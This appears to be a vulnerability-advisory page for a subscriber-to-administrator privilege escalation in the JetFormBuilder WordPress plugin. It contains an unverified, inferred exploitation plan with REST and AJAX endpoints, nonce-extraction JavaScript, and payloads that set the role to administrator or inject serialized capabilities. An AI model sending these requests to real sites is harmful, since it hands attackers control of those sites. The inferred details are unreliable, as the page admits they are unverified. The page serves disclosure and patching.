CVE-2026-54196

JetFormBuilder — Dynamic Blocks Form Builder <= 3.6.1 - Authenticated (Subscriber+) Privilege Escalation

highIncorrect Privilege Assignment
8.8
CVSS Score
8.8
CVSS Score
high
Severity
3.6.1.1
Patched in
10d
Time to patch

Description

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.6.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.6.1
PublishedJune 16, 2026
Last updatedJune 25, 2026
Affected pluginjetformbuilder

What Changed in the Fix

Changes introduced in v3.6.1.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan focuses on **CVE-2026-54196**, a Privilege Escalation vulnerability in the **JetFormBuilder** plugin. Given the vulnerability type ("Incorrect Privilege Assignment") and the requirement of "Subscriber+" authentication, the flaw likely resides in the plugin's handling …

Show full research plan

This exploitation research plan focuses on CVE-2026-54196, a Privilege Escalation vulnerability in the JetFormBuilder plugin. Given the vulnerability type ("Incorrect Privilege Assignment") and the requirement of "Subscriber+" authentication, the flaw likely resides in the plugin's handling of "Post-Submit Actions," specifically those related to user updates or registration.


1. Vulnerability Summary

  • Vulnerability: Authenticated Privilege Escalation via Post-Submit Actions.
  • Location: Likely within the PHP classes responsible for processing form submissions and executing "Update User" or "Register User" actions (e.g., includes/actions/types/update-user.php or similar, inferred from plugin architecture).
  • Root Cause: The plugin fails to validate or restrict the specific user fields (like role or wp_capabilities) that a low-privileged user can update when submitting a form configured with a user-related action. An attacker can inject parameters into the form submission request to modify their own account's role to "administrator."

2. Attack Vector Analysis

  • Endpoint:
    • REST API: /wp-json/jet-form-builder/v1/submit-form (Default REST endpoint for JFB).
    • AJAX: admin-ajax.php with action jet_form_builder_submit.
  • Payload Parameter: Form field values passed in the values array (REST) or as POST parameters (AJAX). Specifically, injecting a key mapped to the WordPress user role.
  • Authentication: Authenticated as a Subscriber or any low-level user.
  • Preconditions: A form must exist that uses the "Update User" post-submit action.

3. Code Flow (Inferred)

  1. Entry Point: User submits a form via the frontend.
  2. Handler: Jet_Form_Builder\Form_Handler::handle_form_submission() receives the request.
  3. Action Execution: The handler identifies the "Update User" action associated with the form.
  4. Field Mapping: The plugin maps submitted form field values to WordPress user object fields (e.g., user_email, first_name, role).
  5. Vulnerable Sink: The mapped data is passed to wp_update_user() or update_user_meta().
  6. Failure: The plugin does not check if the current user has the promote_users capability before allowing the role field to be updated via the form submission.

4. Nonce Acquisition Strategy

JetFormBuilder enqueues nonces and form data via wp_localize_script.

Strategy:

  1. Identify a page containing a JetFormBuilder form.
  2. Navigate to the page using browser_navigate.
  3. Extract the nonce and form ID using browser_eval.

Actionable Identifiers:

  • Global JS Object: JetFormBuilderSettings (common in JFB).
  • Nonce Key: nonce or _wpnonce.
  • Extraction Script:
    // To get the submission nonce
    window.JetFormBuilderSettings?.nonce;
    // To get form-specific data
    window.JetFormBuilderSettings?.forms?.[FORM_ID];
    

5. Exploitation Strategy

Step 1: Form Identification

Create or identify a form that has an "Update User" action. In JFB, this action allows updating the profile of the current user.

Step 2: Request Construction

The attacker submits a request to the submission endpoint, injecting a parameter that the backend maps to the user role.

HTTP Request (Example via REST):

  • Method: POST
  • URL: http://localhost:8080/wp-json/jet-form-builder/v1/submit-form
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [Extracted Nonce]
  • Payload:
    {
      "form_id": 123,
      "fields": {
        "user_email": "subscriber@example.com",
        "role": "administrator" 
      },
      "context": "frontend"
    }
    
    Note: The actual key might be user_role, role, or a custom field ID mapped to the role in the form settings.

6. Test Data Setup

  1. Admin Setup:
    • Create a Form (ID: 1337).
    • Add a Post-Submit Action: "Update User".
    • In the action settings, map a form field (e.g., a hidden field or text field) to the User "Role".
  2. Attacker Setup:
    • Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
  3. Page Setup:
    • Create a page displaying the form: wp post create --post_type=page --post_status=publish --post_content='[jet_form_builder form_id="1337"]'.

7. Expected Results

  • Response: The API should return a success message (e.g., {"status":"success","message":"Form successfully submitted"}).
  • Result: The "attacker" user's role in the database is changed from subscriber to administrator.

8. Verification Steps

After the HTTP request, verify the role change via WP-CLI:

wp user get attacker --field=roles

Successful output: administrator

9. Alternative Approaches

  • Hidden Field Injection: If the role field isn't explicitly in the form, try adding it to the fields object in the JSON payload anyway. Many builders use a loop to process all submitted data against a whitelist that might inadvertently include role.
  • Meta Injection: If the role cannot be changed directly, check if wp_capabilities (user meta) can be updated via the "Update User" action.
    • Key: wp_capabilities
    • Value: a:1:{s:13:"administrator";b:1;} (serialized).
  • AJAX Endpoint: If the REST API is restricted, use the AJAX fallback:
    • POST /wp-admin/admin-ajax.php
    • action=jet_form_builder_submit&_wpnonce=[NONCE]&form_id=1337&role=administrator
Research Findings
Static analysis — not yet PoC-verified

Summary

The JetFormBuilder plugin for WordPress is vulnerable to privilege escalation in versions up to 3.6.1. This flaw allows authenticated attackers with subscriber-level access to elevate their account privileges to administrator by exploiting insufficient validation in the 'Update User' post-submit action.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1/assets/build/admin/package.asset.php /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1.1/assets/build/admin/package.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1/assets/build/admin/package.asset.php	2026-05-27 10:17:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1.1/assets/build/admin/package.asset.php	2026-06-09 12:15:44.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '94ba9a9d32ea506460c6');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => 'cd879d1903e305e67f49');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1/assets/build/admin/package.js /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1.1/assets/build/admin/package.js
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1/assets/build/admin/package.js	2026-05-27 10:17:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.6.1.1/assets/build/admin/package.js	2026-06-09 12:15:44.000000000 +0000
@@ -1 +1 @@
-(()=>{var t={2373(t,e,i) ... (truncated)

Exploit Outline

To exploit this vulnerability, an attacker authenticated as a Subscriber or higher must identify a form that utilizes the 'Update User' post-submit action. By extracting a valid submission nonce from the frontend (often found in the `JetFormBuilderSettings` global JS object), the attacker can send a POST request to the `/wp-json/jet-form-builder/v1/submit-form` REST endpoint. The payload is crafted to include an injected field, such as 'role' or 'user_role', set to 'administrator'. Because the plugin's backend handler fails to verify the current user's capability (like `promote_users`) before updating the user profile via `wp_update_user`, the attacker's account role is changed to administrator upon successful submission.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.